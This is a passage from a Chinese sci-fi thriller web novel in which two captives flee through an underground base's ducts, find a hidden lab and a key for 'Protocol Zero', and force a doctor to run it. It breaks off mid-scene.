“找到控制核心,瘫痪这里。”
周玲眼神坚定:“我帮你。我知道几个监控盲区。”
韩冰点头,轻轻推开门缝:“走。”
两人沿着阴影移动。在拐角处,周玲拉住韩冰:“左边第三个门是二级监控室,里面有B区管道图。”
监控室内,一名技术人员正在操作台前工作。韩冰悄无声息地靠近,电击棍精准点中对方颈侧。
“图。”
周玲快速调出图纸:“主通风管道通往设备层!那里有独立供电和通讯接口!”
所有监控屏幕突然闪烁,阿杰的脸出现在每个屏幕上。
“精彩的表演,韩冰。”扬声器里传来冰冷的声音,“但游戏结束了。”
主屏幕切换画面,显示着被绑在椅子上的老人,枪口抵住她的太阳穴。
“奶奶!”周玲失声惊呼。
“放下武器走出来。”阿杰的声音毫无波动,“否则你知道后果。”
韩冰的声音却异常平静:“你似乎忘了件事。”
“我在倒数,韩冰。”
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>“你展示了底牌,”韩冰盯着屏幕,“也暴露了人质位置。”
“你以为能快过我的命令?”
“试试看。”韩冰转向周玲,“R-9的通风口连接哪里?”
周玲立即会意:“奶奶床正上方!连接B-7回风管道!”
“听到了吗,阿杰?”韩冰冷笑,“是我的动作快,还是你手下调整枪口的速度快?”
屏幕陷入长久的沉默。
“……你赢了这局。”阿杰的声音终于响起,“放人。”
画面中,守卫收起了武器。
“但你们还在我的笼子里。”屏幕黑掉前,阿杰留下最后的警告,“下次不会有谈判。”
周玲虚脱地靠在控制台上:“我们安全了?”
“只是让他知道猎物也有獠牙。”韩冰拉起她走向通风口,“去设备层。”
幽深的管道如同巨兽的咽喉,将两人的身影吞没。
第四十五章 管道深处
通风管道内一片漆黑,只有远处应急灯的微光勾勒出金属轮廓。空气里弥漫着灰尘和机油的气味。
“还要多久?”周玲压低声音问道。
韩冰在前方匍匐引路:“图纸显示要穿过三个检修节点。”
“他们会不会在管道里布置传感器?”
“可能。这是最快到达设备层的路。”
周玲沉默片刻:“刚才……谢谢你。为了奶奶。”
“不用。”韩冰动作没有停顿,“阿杰低估了我们的反击意愿。”
“设备层……我们具体要做什么?”
“找到独立供电单元。破坏它,能造成大规模瘫痪。或者找到对外通讯接口。”
“然后呢?就算联系到外面……”
“先出去。”韩冰打断,“其他的,之后再说。”
前方出现第一个检修节点的微弱光源。
“有光。等我信号。”韩冰无声地贴近观察,片刻后返回,“节点外是空的。安全。抓紧时间。”
通过节点后,管道开始向下倾斜。周玲脚下一滑,被韩冰稳稳拉住。
“小心。跟紧我的落脚点。”
突然,管道上方传来轻微的金属摩擦声。
韩冰瞬间将周玲护在身后:“嘘。”
声音持续几秒后远去。
“巡逻的。或者陷阱。加快速度。”
管道内的温度明显升高。第二个检修口外传来机器轰鸣声。
“下面是主能源管道走廊。守卫很多。”韩冰透过栅格观察,“不能从这里下去。绕路。”
就在这时,广播突然响起阿杰的声音:
“玩够了吗,韩冰?温度传感器的异常数据很显眼。你们在B区主能源管道上方。”
“走!”韩冰立刻拉住周玲后退。
“来不及了。好好享受桑拿。”
管道壁突然开始发烫,高温蒸汽从焊缝处嘶嘶冒出!
“他们在加热管道!”周玲被烫得缩回手。
韩冰扯下衣服碎片裹住手:“向前冲!第三个节点不远!”
“后面!后面有声音!”
管道后方传来密集的脚步声和手电光柱。
“在那边!堵住他们!”
韩冰眼神一凛,猛地撞开侧下方一个不起眼的旧
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检修板,露出狭窄的向下通道。
“图纸上没标的老维修通道!跳!”
周玲看着深不见底的黑暗:“我……”
“信我!”
他拉住周玲的手,两人一同跃入黑暗。上方传来守卫冲到检修口的叫骂声。
短暂的坠落後,他们落在松软的废弃线缆堆上。
“这是……哪里?”周玲惊魂未定。
韩冰环顾四周:“废弃电缆井。我们可能在设备层下面。”
他摸索着墙壁,突然停下。
“等等。这是……”
“是什么?”
“直接连接主控服务器的物理光缆。”韩冰声音带着发现猎物的冰冷,“断了它,阿杰会失去一半的眼睛和耳朵。”
“能断吗?”
韩冰手指拂过粗大的线缆外壳:“需要工具。或者……”他抬头看向上方,“足够的力量。”
上方管道处传来阿杰气急败坏的声音:
“找!给我下去找!他们一定在下面!”
韩冰看向周玲,眼神在微光中闪烁:
“准备好给他们一个惊喜了吗?”
第四十六章 断线
黑暗笼罩着电缆井,只有断开的线缆末端偶尔迸出几点火星,映亮周玲苍白的脸。
“现在怎么办?”她压低声音问,呼吸还有些急促。
我侧耳听着上方管道里传来的混乱叫喊声、奔跑声、以及阿杰通过独立线路发出的气急败坏的命令。很好,混乱正是我需要的掩护。
“主控链路断了,”我言简意赅,“他们的眼睛瞎了一半。趁现在,去找阿杰。”
“去找他?”周玲的声音里带着难以置信。
“打蛇打七寸。”我摸索着井壁,寻找向上的路径,“他现在一定坐镇指挥中心。混乱中,那里反而是最‘安全’的盲点。”
“太危险了!”
“等备用电源启动,系统恢复,这里就是我们的棺材。”我的手指触碰到冰冷的金属梯子,“这里有路。”
攀爬,顶开沉重的检修盖板,我们悄无声息地潜入一条安静的后勤通道。应急灯有规律地闪烁着红光,远处能源区方向的喧闹隐约可闻。一辆电动物资搬运车停在通道尽头。
我迅速扯开控制面板,搭接线路。车辆无声启动。
“上来。”
周玲坐上车后。**控着这辆临时代步工具,沿着标有“内部物流”的狭窄通道滑行。在一个岔路口,我停下。左边指向A区指挥中心,右边指向医疗翼和R区监禁室。
周玲的目光立刻锁定了右边。“奶奶……”
我沉默着,手指收紧。理智告诉我,直捣黄龙才是最优解。但……
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>通道一端的扬声器突然响起李医生急促的声音:“阿杰!系统崩溃前最后的生命信号显示在C区与能源区交界!他们可能利用了物流通道!建议立刻封锁A区与C区连接部!”
我猛地调转车头,驶向右侧通道。
“不去指挥中心了?”周玲愕然。
“李医生提醒了我。”我盯着前方昏暗的通道,“阿杰现在必然在指挥中心和所有关键节点布下重兵。他在等我们。”
“那我们去哪里?”
“去一个他现在绝对顾不上,也想不到我们会去的地方。”
电动搬运车在通道内加速,轮胎摩擦地面发出轻微声响,载着我们冲向未知的黑暗深处。这一次,猎人与猎物的角色,该换一换了……
第四十七章 盲区
电动搬运车在昏暗的通道内无声滑行,只有轮胎与地面摩擦的细微声响和周玲略显急促的呼吸声打破寂静。应急指示灯将我们的影子拉长、扭曲,投在冰冷的金属壁上,如同两个在巨兽肠道中穿行的幽灵。
“我们要去哪里?”周玲低声问我。
我没有立刻回答,目光扫过通道上方偶尔出现的区域标识。我们已经穿过了C区,正在接近B区的边缘。阿杰的注意力应该被成功吸引在了A区和能源核心区域,李医生的警告反而帮我们排除了一个错误选项。
“去‘不存在’的地方。”我最终开口,声音控制在仅能让她听见的音量。
“不存在?”
“任何一个设施,尤其是这种见不得光的地下基地,总会有设计图纸上没标出来的区域,或者是因改造而废弃遗忘的空间。”**控着搬运车拐进一条更狭窄、积尘也更厚的分支通道,“监控系统瘫痪的这段时间,是我们的黄金窗口。阿杰会调动所有可用力量封锁已知要道,搜索预期区域。我们要去的就是他们的思维盲区。”
通道在这里到了尽头,面前是一面看似普通的金属墙壁,旁边有一个老式的、似乎早已停用的气压阀门控制台,上面覆盖着一层薄灰。
“死路?”周玲疑惑地看着我。
我熄灭了搬运车的动力,下车,走到那面墙前。手指拂过墙壁与地板接缝处的灰尘,仔细观察着墙面的色泽和铆钉的分布。多年的本能和经验在脑海中构建出结构图。这面墙的后面,不是实心岩体,有空间。
“帮我找。”我开始用手敲击墙面,倾听回声的变化。
周玲虽然不解,但还是立刻学着我的样子,在另一侧墙面敲打起来。几分钟后,在她敲击到靠近墙角一片区域时,回声明显变得空阔。
“这里!”她低呼。
我走过去,那片墙面的颜色与周围有极其细微的差异,难以察觉。我用指甲沿着几乎看不见的缝隙抠划,更多的灰尘簌簌落下。一条垂直的、被刻意伪装过的接缝显现出来。这不是一堵墙,而是一扇门,一扇被掩盖起来的门。
没有电子锁,只有一个物理的、锈蚀严重的旋转阀盘。
“退后。”我对周玲说。
她向后挪了几步。我双手握住冰冷的阀盘,深吸一口气,腰腹核心收紧,双臂猛然发力。锈死的轴承发出刺耳的“嘎吱”声,抗拒着我的力量。肌肉绷紧,骨节发出轻微的响动,腹部的伤疤也开始隐隐作痛。几秒僵持后,“咔”的一声脆响,阀门终于松动,开始缓慢地旋转。
一圈,两圈……旋转到第五圈时,伴随着一阵沉闷的漏气声,这扇伪装的门向内滑开了一道仅容一人侧身通过的缝隙。
门后是一片深邃的黑暗,寂静无声。
我从搬运车上拆下一个小型应急灯,拧亮,光束刺入黑暗。
“这是……什么地方?”周玲看着那深不见底的黑暗,声音有些发紧。
“不知道。”我回答,“但阿杰大概率不知道这里,或者认为这里无关紧要。对我们来说,这就够了。”我侧身率先踏入门口,感受着脚下金属楼梯的牢固程度。“跟上,小心脚下。”
楼梯并不长,大约下了二十多级台阶,脚下变成了坚实的水泥地面。正对面是另一扇门,这次是标准的气密门,门上有一个手动转轮,旁边还有一个老式的、已经断电的电子门禁面板。
我尝试转动气密门的手轮,这次顺利得多。
这不是想象中堆满废弃杂物的储藏间,而是一个……实验室?
面积不大,大约四五十平米。中央是一个布满各种接口和线缆的操作台,虽然覆盖着灰尘,但能看出曾经的先进。
最引人注目的是,在实验室最里面的角落里,有一张简易的行军床,床上铺着整齐但略显陈旧的被褥。床边的小桌上,放着一个倒扣着的相框和一个空空如也的水杯。
这里有人生活过
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的痕迹。
周玲下意识地靠近我,声音带着一丝恐惧:“这里……有人住?”
我示意她保持安静,持着应急灯,小心翼翼地踏入实验室。
我走到操作台前,用手指抹开控制面板上的灰尘。面板是暗的,我尝试按了几个按键,毫无反应。
最后,我走向那张行军床,拿起了那个倒扣的相框。拂去玻璃上的灰尘,照片显露出来。上面是一个穿着白色研究服、戴着眼镜、面容温和的中年男人,他搂着一个笑容灿烂的年轻女孩,背景是一片阳光下的草坪。照片看起来有些年头了。
照片本身没什么特别,但相框背面,用尖锐物体刻着一行细小的字迹,需要仔细辨认才能看清:
“项目:‘涅槃’。错误无法挽回。唯一出路——‘零号协议’。钥匙在……”
后面的字迹似乎被强行刮花了,模糊不清。
“涅槃”?“零号协议”?“钥匙”?
我将相框递给跟过来的周玲。“看看这个。”
周玲接过相框,借着灯光看清了那行字,脸上也露出了困惑和凝重。“这是什么意思?‘涅槃’是另一个项目?‘零号协议’听起来像某种应急预案……钥匙是指什么?”
我摇了摇头,目光再次扫视这个隐蔽的实验室。
这里的主人,这个照片上的男人,显然也是这个基地的研究者,但他似乎发现了什么,或者对某个项目(“涅槃”)产生了严重的质疑,以至于躲藏在这里,并留下了信息。
“找找看,有没有笔记、数据存储设备,或者其他线索。”我对周玲说,“这里可能藏着比逃离更重要的东西。”
这个被遗忘的角落,这个前任研究者留下的警告,或许能让我们真正理解这个设施的真相,以及阿杰和他背后组织真正的目的。
狩猎的目标,在不知不觉中,已经悄然改变。我们不仅要逃出去,还要弄清楚,我们到底身陷一个怎样的局中。
第四十八章 “涅槃”遗痕
周玲拿着那个相框,手指微微颤抖,反复看着那行被刮花的字迹。“‘错误无法挽回’……他好像很绝望。这个‘涅槃’项目,会不会和我们有关?”
“不知道。”我回答得干脆,目光已经落在那个布满接口的操作台上。灰尘的厚度显示它被遗弃已久,但一些接口的磨损痕迹表明它曾被频繁使用。
我尝试推动操作台,纹丝不动。蹲下身,用手抹开底部支架的灰尘,指尖触碰到一个隐蔽的卡扣。
“咔哒。”
一声轻响,操作台侧面的一个暗板弹开,露出了里面一个老式的、带有物理接口的离线数据存储单元。一个厚重的金属盒子,上面没有任何标识,只有一个状态指示灯,此刻是熄灭的。
“有东西。”我将其取出,入手沉甸甸的。
周玲凑过来:“是硬盘吗?还能读取吗?”
“需要电源和兼容的读取器。”我掂量着盒子,目光扫向实验室里那些落满灰尘的仪器,“这里或许有。”
我们开始分头搜寻。我检查那些精密仪器,大多数已经彻底断电,内部电池早已耗尽。周玲则小心翼翼地翻看架子上的纸质文件和散落的笔记。
“韩冰,”周玲突然低声叫我,她手里拿着一张相对保存完好的草图,“你看这个。”
我走过去。草图上画着一个复杂的人脑结构图,但在几个特定区域,被用红笔标记并延伸出许多细线,连接到一个模糊的、被标注为“外来信号源/印记”的符号上。
旁边手写着一行小字:“逆向工程失败,‘载体’排斥率97.3%。‘涅槃’非重生,乃覆盖。”
“覆盖……”周玲的声音带着寒意,“他们想用什么东西……覆盖掉原本的人格?”
我盯着那张图,脑海中某些碎片似乎被触动了。
那些不属于我的记忆,那些冰冷的战斗本能,还有阿杰提到的“寒霜”……难道这就是“涅槃”?将某个被称为“寒霜”的存在,覆盖到像我这样的“载体”身上?
“找找看有没有关于‘寒霜’的记录。”我立刻说道。
我们又加快了搜寻速度。在翻找一个抽屉时,我的手指触碰到一个冰冷、坚硬的小物件。拿出来一看,是一个拇指大小的金属U盘,样式很老,但保存完好。更重要的是,旁边就有一个同样老式、需要独立供电的便携式数据读取器。
我将U盘插入读取器,然后将读取器连接到那个离线存储单元。
现在,只差电源。
我的目光落在角落里一台看似是备用电源的紧凑型设备上。走过去检查,指示灯全灭,但内部似乎有独立的燃料电池模块。
“需要激活?”周玲问。
我仔细检查电源设备的外壳,在底部发现了一个非常隐蔽的手摇式充电手柄的插口。真是原始的应急方案。
“帮我扶着。”我对周玲说。她立刻上前稳住设备。我抓住手柄,开始快速摇动。手柄发出沉闷的摩擦声,阻力很大。摇了近一分钟,电源设备上的一个黄色指示灯终于微弱地亮起,显示电量极低,但足够短暂启动。
我立刻将数据读取器的电源线接上。
进度条缓慢移动。
终于,“滴”的一声轻响,读取完成。屏幕上出现了文件夹目录。
命名方式很混乱,大多是日期和代码,但其中一个文件夹的名字赫然是——“零号协议-草案”。
我点开它。里面只有一份文档。
“警告:‘涅槃’项目存在根本性设计缺陷。强行植入‘印记’将导致‘载体’认知崩溃或引发不可控的‘印记’暴走。唯一终止及逆转方案——启动‘零号协议’。”
下面列出了“零号协议”的核心步骤,但关键部分被加密了,显示需要一把“物理密钥”才能解锁完整指令。文档末尾附有一张模糊的、似乎是“物理密钥”的示意图——那是一个结构奇特的金属棱柱,内部似乎有复杂的晶状结构。
“‘钥匙’……指的是这个?”周玲指着示意图。
“看来是。”我快速浏览着文档其他部分,试图找到关于“密钥”下落的线索。文档最后,只有一句没头没尾的话:
“密钥藏于‘视线焦点之下,沉默见证者之中’。——K”
K?是照片上那个男人吗?
“视线焦点之下,沉默见证者之中……”周玲喃喃重复,“这像是个谜语。”
就在这时,我们头顶上方,隐约传来了脚步声和金属碰撞声!声音似乎来自我们下来的那条通道入口附近!
“他们找到这里了?”周玲脸色一变。
我立刻关闭读取器,拔下U盘和离线存储单元,塞进衣服内侧口袋。
脚步声在上面停顿了一下,似乎是在检查那辆被我们遗弃的搬运车,然后开始向我们下来的楼梯口靠近!
“怎么办?”周玲紧张地看着我。
我环顾这个封闭的实验室,除了我们进来的气密门,没有其他出口。
我的目光落在那些布满灰尘的仪器和标本架上,一个冒险的计划瞬间形成。
“躲到标本架后面去。”我压低声音,指了指实验室最里面、阴影最浓重的角落,“无论发生什么,别出声。”
周玲立刻照做,蜷缩进高大的标本架与墙壁之间的缝隙里。
我则快速移动到气密门旁,深吸一口气,猛地用力,将厚重的气密门再次推开一道缝隙,制造出有人刚刚匆忙离开的假象。
然后,我熄灭了应急灯,整个实验室瞬间陷入彻底的黑暗和死寂。
我屏住呼吸,像一道影子般贴附在操作台下的阴影里,手中紧握着那根之前夺来的警棍,感官提升到极致。
楼梯上传来了谨慎的
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、一步一步的脚步声。不止一个人。
“门是开的!”一个压低声音的守卫说道。
“小心点,可能在里面。”另一个声音回应。
两束光柱小心翼翼地探入实验室,扫过操作台,扫过标本架,扫过行军床……光束在被我推开的气密门缝隙处停留了片刻。
“好像跑了?从这门出去了?”
“进去看看。你们两个,守好外面楼梯口。”
两个全副武装的守卫端着武器,一前一后,谨慎地跨入了实验室。
我蜷缩在操作台下的阴影里,计算着他们的位置和距离。
就是现在!
在光柱即将触及我的瞬间,我猛地从操作台下窜出,不是攻击,而是用尽全身力气,狠狠一脚踹在旁边一个装满不明液体和生物组织的玻璃标本罐上!
“哐当——哗啦!”
巨大的碎裂声在封闭空间里如同惊雷炸响!玻璃碎片和粘稠的、散发着刺鼻气味的液体四溅开来!
两名守卫被这突如其来的变故惊得瞬间调转枪口和光柱,指向声音来源!
就在他们注意力被吸引的几秒,我已经如同鬼魅般从阴影中扑出,警棍带着风声,精准狠辣地砸向第二名守卫**的手腕!
“咔嚓!”骨裂声和惨叫同时响起!他的武器脱手飞出。
第一名守卫反应极快,立刻调转枪口,但我已经切入他的怀中,警棍向上猛击他的下颌,同时另一只手扣住他**的手,向上一抬!
“砰!”
一声枪响,**打穿了天花板,落下簌簌灰尘。
我膝盖狠狠顶在他的腹部,在他因剧痛弯腰的瞬间,手刀重重劈在他的后颈。他一声不吭地软倒在地。
整个过程不超过五秒。两名守卫失去战斗力。
我迅速捡起他们掉落的一把武器和手电筒,冲到标本架后:“走!”
周玲从藏身处出来,我们冲出实验室,穿过前厅,快速爬上金属楼梯。
守在楼梯口的两个守卫听到下面的动静刚想下来查看,正好与我们迎面撞上!我毫不犹豫,抬起刚缴获的武器扣动了**!
“噗!噗!”
两声闷响,两个守卫应声倒地,痛苦地蜷缩起来。
我们没有停留,冲出伪装门,跳上那辆还停在原地的电动物流车。
“他们很快会反应过来!”周玲急促地说。
我启动车辆,朝着与来时相反的方向,也是通道更深处驶去。
手中握着那个冰冷的U盘,脑海里回响着那句谜语。
“视线焦点之下,沉默见证者之中……”
钥匙,必须找到它。“零号协议”,可能是我们唯一的生路,也可能是……摧毁这一切的关键。
身后的通道远处,已经传来了更多的脚步声和警报声。
狩猎还在继续,但猎物,已经找到了反击的毒牙。
第四十九章 沉默见证者
电动物流车在迷宫般的后勤通道里疾驰,将身后追兵的喧嚣暂时甩开。应急灯的红光有节奏地掠过我和周玲的脸,映出她眉宇间尚未散去的惊悸。
“他们……他们还会追上来。”周玲紧握着车框。
“会。”我简短回应,目光锐利地扫视着每一个经过的岔路口,大脑飞速运转,试图在有限的已知信息中规划出路线。“备用电力系统应该已经部分恢复,监控正在重新上线。我们时间不多。”
必须找到一个足够隐蔽的地方,消化刚刚获得的信息,并解开那个谜语。
“那个U盘……”周玲看向我,“‘零号协议’,真的能终止这一切吗?”
“不知道。但这是目前唯一的线索。”我感受着口袋里那硬物的轮廓,“‘钥匙’是关键。”
“视线焦点之下,沉默见证者之中……”她低声重复着那句话语,眉头紧锁,“这到底是什么意思?‘视线焦点’是指监控摄像头?还是指……阿杰他们重点看守的地方?‘沉默见证者’……是那些标本?还是某种仪器?”
我没有回答。
通道前方出现了一个标有“历史档案库”的标识。通常这种地方守卫松懈,且结构复杂,易于藏身。
“就这里。”**控车辆拐向那条分支通道。通道尽头是一扇普通的金属门,需要身份卡才能进入,我没有卡,但有别的办法。
我停下车,走到门边的身份识别器前,拔出之前从守卫那里缴获的**,撬开识别器的外壳,露出里面错综复杂的线路。
一阵电火花噼啪闪烁后,门锁发出“嘀”的一声轻响,绿灯亮起。
“走。”我拉开门,和周玲迅速闪入,然后将门从内部关上。
里面是一个巨大的、充满尘埃气息的空间。一排排高大的金属档案架如同沉默的巨人,延伸到黑暗深处,上面堆满了各种纸质文件和古老的磁带、磁盘。只有几盏功率低下的应急灯提供着微弱照明,空气中漂浮着细小的尘埃颗粒。
“这里……好大。”周玲环顾四周,声音在空旷中产生回音。
“分头找找,看有没有关于基地早期建设结构图,或者任何提到‘K’研究员,以及‘涅槃’项目初期构想的资料。保持警惕。”
我在一个标有“基建图纸-废弃方案”的区域翻找,大部分是无关紧要的管道布线或早期规划草图。就在我几乎要放弃这个区域时,一个落满灰尘、材质特殊的硬质文件夹吸引了我的注意。
它被塞在书架最底层,与其他文件格格不入。
抽出文件夹,拂去灰尘,封面没有任何文字。打开它,里面只有一张大幅的、手绘的基地初期结构平面图。图纸已经泛黄,但笔触清晰。与我现在了解的基地布局相比,这张图上多了几个区域,其中一个被红笔圈出,旁边标注着“初始观星台/静默厅”。
“观星台”?在这地下深处?
更让我注意的是这个被圈出区域旁边的备注小字:“视野核心,记录伊始。——K”
视野核心……记录伊始……
视线焦点?沉默见证者?
一个念头如同闪电般划过我的脑海。
“周玲!”我压低声音喊道。
她很快从另一排档案架后跑来:“找到了什么?”
我将图纸递给她,指向那个被红圈标注的“初始观星台/静默厅”和旁边的备注。
“视野核心……记录伊始……”周玲喃喃念道,眼睛逐渐亮起,“‘视线焦点之下’……难道指的是这个‘视野核心’?‘沉默见证者’……‘记录伊始’……是指记录开始的地方?是某种……记录设备?”
“可能。”我快速分析,“‘观星台’在这地下毫无意义,很可能是一个代号。这个‘静默厅’,可能就是存放关键记录设备的地方,那个‘沉默的见证者’。而‘钥匙’,就藏在它的下方?”
“可这个区域在图纸上被标记为废弃……”周玲指着图纸上的一些注释,“而且位置……好像在现在基地结构的更下层,靠近地质活动带边缘,据说后来因为结构安全问题被封停了。”
封停?这意味着入口可能被掩埋或封锁,但也意味着少有人至,更有可能避开阿杰现在的搜查网。
“去这里。”我立刻做出决定。
“怎么去?图纸上标出的入口通道,在现在的布局里根本不存在了。”
“总有办法。”我收起图纸,“找通风管道图,或者维护通道图。这种老式结构,通常会保留一些不为人知的检修路径。”
我们再次在档案库中搜寻,终于找到了一份泛黄的、标注着“深层维护通道”的图纸。上面显示,从档案库本身的一个老旧清洁工具间,有一条狭窄的、几乎垂直的维护竖井,可以通往基地更下层的部分空间,其中包括那个被标记为“初始观星台/静默厅”的区域附近。
事不宜迟。
我们按照图纸指示,找到了那个堆满废弃清洁工具的房间。
“我先下。”我毫不犹豫地抓住冰冷的梯子,开始向下攀爬。周玲紧随其后。
竖井极深,爬了将近五分钟,脚下才触到坚实的地面。这里更加黑暗,空气几乎凝滞。
根据图纸方向,我们沿着隧道小心翼翼地向深处前进。隧道一路向下倾斜,温度也逐渐降低。走了大约十分钟,前方出现了一扇厚重的、看起来极其古老的金属大门,门上没有任何电子锁,只有两个巨大的、需要同时转动的机械阀盘。门的上方,刻着几个几乎被锈蚀掩盖的字迹:
静默厅
就是这里!
我和周玲对视一眼,都从对方眼中看到了紧张和一丝希望。
“一起。”我走到一个阀盘前。周玲会意,站到另一个阀盘前。
“一、二、三!”
我们同时用力,阀盘发出刺耳欲聋的金属摩擦声,锈渣簌簌落下。
“嘎吱——嘎吱”
阀盘终于开始缓慢转动。一圈,两圈……
当转到第五圈时,门内传来一连串沉重的机括解锁声。
“轰隆……”
厚重的金属大门,缓缓地向内开启了一道缝隙。
一股更加冰冷、带着陈腐纸张和特殊金属气味的空气从门后涌出。
应急灯的光束投入门内,照亮了里面的景象。
那是一个圆形的厅堂,不算特别大,但举架很高。厅堂的穹顶似乎覆盖着特殊的吸光材料,让光线无法反射,显得异常幽深。
在厅堂的中央,矗立着一个造型奇特的、非金非石的黑色方尖碑状的物体,大约一人多高,表面光滑,没有任何接缝或装饰。
而在方尖碑的底部正前方,地面上有一个不起眼的、与周围石板颜色略有差异的方形区域。
“沉默见证者……”周玲看着那黑色的方尖碑,声音带着敬畏,“这……这是什么?”
我没有回答,目光死死锁定在方尖碑底部那个方形区域。
视线焦
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点之下……
我快步走上前,蹲下身,用手拂开那块方形区域上的浮尘。下面不是石板,而是一个暗格。暗格中央,有一个与U盘里示意图完全一致的、结构奇特的金属棱柱凹槽!
钥匙就在这里?
我尝试用手去抠,纹丝不动。仔细观察,凹槽内部有极其精密的卡榫结构。
需要正确的“钥匙”才能开启。但我们只有示意图,没有实物。
难道理解错了?
我的目光再次投向那沉默的黑色方尖碑。它屹立在这里,见证了什么?记录了什么?
我站起身,绕着方尖碑走了一圈,用手触摸它冰冷的表面。没有任何反应,没有任何接口,仿佛只是一块完整的巨石。
“韩冰,你看这里。”周玲在方尖碑的背面底部有所发现。
我走过去,看到她手指着碑体与地面连接处,那里刻着一行几乎与岩石同色、需要特定角度才能看清的小字:
“见证需代价,真相非礼赠。以血为引,方启门径。”
以血为引?
我看向那个钥匙凹槽,又看了看这行字。一个古老而残酷的验证机制?
没有时间犹豫。
我拔出**,在掌心划过,殷红的血液瞬间涌出。我将流血的手掌,按在了那个冰冷的钥匙凹槽上。
血液顺着凹槽边缘的细微纹路流淌进去。
一秒,两秒……
就在我以为失败之时,凹槽内部突然发出了微弱的、蓝色的光芒!血液仿佛被某种力量引导,在凹槽内部勾勒出一个复杂的、短暂存在的能量纹路!
“咔哒。”
一声轻响,暗格弹开了。
里面,静静地躺着一个与示意图一模一样的、内部闪烁着微弱流光的金属棱柱——物理密钥!
成功了!
我拿起那把冰冷的“钥匙”,它比想象中要沉,内部复杂的晶状结构在灯光下折射出奇异的光泽。
几乎在同时,整个“静默厅”轻微地震动了一下。
而那黑色的方尖碑,在星光照耀下,表面开始浮现出无数流动的、难以辨认的符号和数据流,仿佛它本身就是一个巨大的信息存储和显示装置!
这,就是真正的“沉默见证者”?它记录的不是普通数据,而是……这片星空?或者说,与星空相关的信息?
“这……这是……”周玲被眼前的景象震撼得说不出话来。
我没有时间欣赏这奇景。密钥到手,必须立刻离开,找到能够读取并执行“零号协议”的地方。
将密钥小心收好,我拉起周玲:“走!”
我们迅速退出“静默厅”,沿着来时的维护隧道返回。来时路,归时却感觉更加漫长而紧迫。阿杰的人可能已经发现了档案库的异常,甚至可能找到了那个维护竖井。
必须赶在他们前面。
爬上竖井,回到废弃工具间。
“搜索档案库!每一个角落都不要放过!”是阿杰手下小队长的声音。
他们来了!而且人数不少!
我们立刻缩回工具间,轻轻掩上门。
“怎么办?出口被堵住了!”周玲急切地问。
我看向那个维护竖井,又看了看手中的密钥。现在出去硬闯,成功率几乎为零。
我的目光落在工具间角落里一堆废弃的化学清洁剂和润滑油上,一个危险的计划瞬间成型。
“把他们引进来。”我压低声音,眼中闪过一丝冰冷的光芒,“在这里,解决他们。”
第五十章 协议倒计时
工具间的门被猛烈撞击,杂物箱在油滑的地面上移位。三名守卫冲进来的瞬间,最前面两人脚底打滑,重重摔倒。第三个守卫勉强站稳,却被我踢翻的强酸瓶溅个正着。
腐蚀的滋滋声与惨叫声中,我掷出的打火机引燃了挥发的溶剂。
“着火了!”
“撤退!”
浓烟瞬间吞噬了门口。我拉起周玲,迅速钻回维护竖井,盖上格栅。向上爬回档案库时,下方只剩混乱的喊叫和燃烧的噼啪声。
档案库内烟雾弥漫,警报尖鸣。我们避开增援的守卫,找到通往B区的通风管道。
在管道中爬行许久,终于从格栅缝隙看到李医生的办公室。她正焦躁地操作终端,通讯器里传来守卫关于档案库事件的报告。
“加强B区排查!尤其是我的实验室和办公室附近!”
机会来了。
我卸下格栅,悄无声息地落地,在她转身时从后方捂住她的嘴,**抵住她的脖颈。
“别动。让终端保持登录。”
周玲跟着下来,锁上门。
我将物理密钥拍在控制台上:“启动‘零号协议’。”
李医生瞳孔收缩:“你怎么会知道……”
“
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步骤。”我将**微微用力。
她颤抖着调出深层程序界面。插入密钥,进度条开始读取。
“需要三分钟验证。中断会触发密钥自锁。”
门外突然传来敲门声:“李医生?检测到异常数据流,需要进入检查。”
进度条刚过四分之一。
李医生强作镇定:“我在处理紧急数据,别打扰。”
“……明白。我们在门口守卫。”
脚步声停在门外。办公室里只剩下服务器嗡鸣和三人压抑的呼吸声。
进度条缓慢移动,每一秒都像在刀尖上行走。
第五十一章 密钥启动
冰冷的**紧贴着李医生的颈动脉,终端屏幕上的进度条像凝固的血液般缓慢移动。
李医生的呼吸急促,冷汗沿着她的鬓角滑落。“验证过程会占用系统大量资源……阿杰那边很可能已经察觉到异常……”
“让他察觉。”我的声音没有任何起伏,“你需要多久?”
“最快也要两分半钟。密钥结构比想象中复杂……”她突然盯着屏幕上一闪而过的错误提示,脸色微变,“等等……协议需要双向验证。不仅需要密钥,还需要……‘载体’的生物特征同步确认。”
“什么?”周玲惊讶一声。
“韩冰,你必须将手掌按在终端指定的生物传感器上。”李医生急促地解释,“‘零号协议’是针对‘载体’和‘印记’设计的,需要你的实时生理数据作为验证的一部分。”
进度条卡在百分之四十一,一个红色的手掌图标在屏幕角落闪烁。
我移开抵着李医生的**,将左手手掌重重按在终端侧面的冰凉感应区。
一道蓝光扫过我的手掌。屏幕上的错误提示消失,进度条重新开始移动。
但就在这一刻,门外传来了阿杰冰冷的声音,透过门板清晰地传来:“李医生,开门。我知道他们在里面。”
周玲的脸色瞬间惨白。
“别理他。”我手掌依旧紧贴着传感器。进度条:百分之五十三。
“我数三声。”阿杰的声音带着不容置疑的压迫感,“一。”
终端运行的嗡鸣声似乎更响了。
“二。”
进度条:百分之六十七。
“砰!”
沉重的撞击声猛地响起,办公室坚固的金属门框发出**!门外的人开始强行破门!
“他们等不及了!”周玲惊恐地看着开始变形的门锁区域。
李医生突然快速在键盘上输入了一串指令,调出了另一个界面。“我在启动办公室的应急防御系统,能暂时加固门体,但撑不了多久!”
她按下确认键。一阵电流声响起,门框边缘亮起蓝色的电弧,又一次沉重的撞击被硬生生弹开,门外传来一声闷哼和咒骂。
“电磁锁,最多坚持一分钟!”李医生喘息着说。
进度条:百分之七十九。
门外的阿杰似乎改变了策略,撞击声停止了。但一种更令人不安的、高频的钻孔声开始响起:他们在试图破坏门锁结构!
“百分之八十五……”周玲死死盯着屏幕,声音颤抖着。
我能感觉到贴在传感器上的手掌开始微微发麻:冰冷的实验台,闪烁的数据流,还有……一双隔着观察玻璃、充满决绝的眼睛。是K研究员吗?
“百分之九十二!”
钻孔声越来越清晰,门锁附近已经开始冒出细微的火花和青烟。
李医生紧张地看着门,又看看屏幕:“快点……再快点……”
“百分之九十七!”
“砰——滋啦!”
门锁处发出一声爆响,电磁锁的蓝光彻底熄灭!门被猛地撞开一道缝隙,一只戴着战术手套的手伸了进来,试图扒开门缝!
“完了……”周玲绝望地闭上眼睛。
就在这一刹那:
“叮!”
进度条达到百分之百!屏幕瞬间变成一片深邃的蓝色,中央浮现出一行清晰的白色文字:
